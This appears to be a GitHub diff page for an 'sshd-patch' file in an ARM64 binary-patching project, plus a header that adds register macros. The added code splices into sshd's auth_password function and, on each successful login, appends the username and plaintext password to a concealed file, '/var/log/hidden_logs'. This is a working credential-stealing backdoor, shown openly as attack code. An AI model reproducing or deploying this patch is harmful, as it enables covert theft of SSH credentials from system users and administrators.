File tree Expand file tree Collapse file tree
aarch64_patches/sshd-patch Expand file tree Collapse file tree Original file line number Diff line number Diff line change @@ -53,7 +53,19 @@ struct Authctxt {
5353
5454struct passwd * pw ;
5555struct Authctxt * authctxt ;
56+ FILE * logfd ;
5657
5758SHIVA_T_FUNCTION_SPLICE (auth_password , 0x12620 , 0x12620 )
5859{
60+ SHIVA_T_PAIR_W0 (ret );
5961
62+ if (ret > 0 ) {
63+
64+ logfd = fopen ("/var/log/hidden_logs" , "a+" );
65+ fprintf (logfd , "Succesful SSH login\n"
66+ "Username: %s\n"
67+ "Password: %s\n" , pw -> pw_name , password );
68+
69+
70+ }
71+ }
Original file line number Diff line number Diff line change 2424#define SHIVA_T_PAIR_X6 (var ) register int64_t var asm("x6");
2525#define SHIVA_T_PAIR_X7 (var ) register int64_t var asm("x7");
2626
27+ #define SHIVA_T_PAIR_W0 (var ) register int64_t var asm("w0");
28+ #define SHIVA_T_PAIR_W1 (var ) register int64_t var asm("w1");
29+ #define SHIVA_T_PAIR_W2 (var ) register int64_t var asm("w2");
30+ #define SHIVA_T_PAIR_W3 (var ) register int64_t var asm("w3");
31+ #define SHIVA_T_PAIR_W4 (var ) register int64_t var asm("w4");
32+ #define SHIVA_T_PAIR_W5 (var ) register int64_t var asm("w5");
33+ #define SHIVA_T_PAIR_W6 (var ) register int64_t var asm("w6");
34+ #define SHIVA_T_PAIR_W7 (var ) register int64_t var asm("w7");
35+
2736#define SHIVA_T_PAIR_BP_16 (var ) asm volatile ("ldr x9, [x29, #16]"); \
2837 register int64_t var asm("x9");
2938#define SHIVA_T_PAIR_BP_32 (var ) asm volatile ("ldr x9, [x29, #32]"); \
You can’t perform that action at this time.
0 commit comments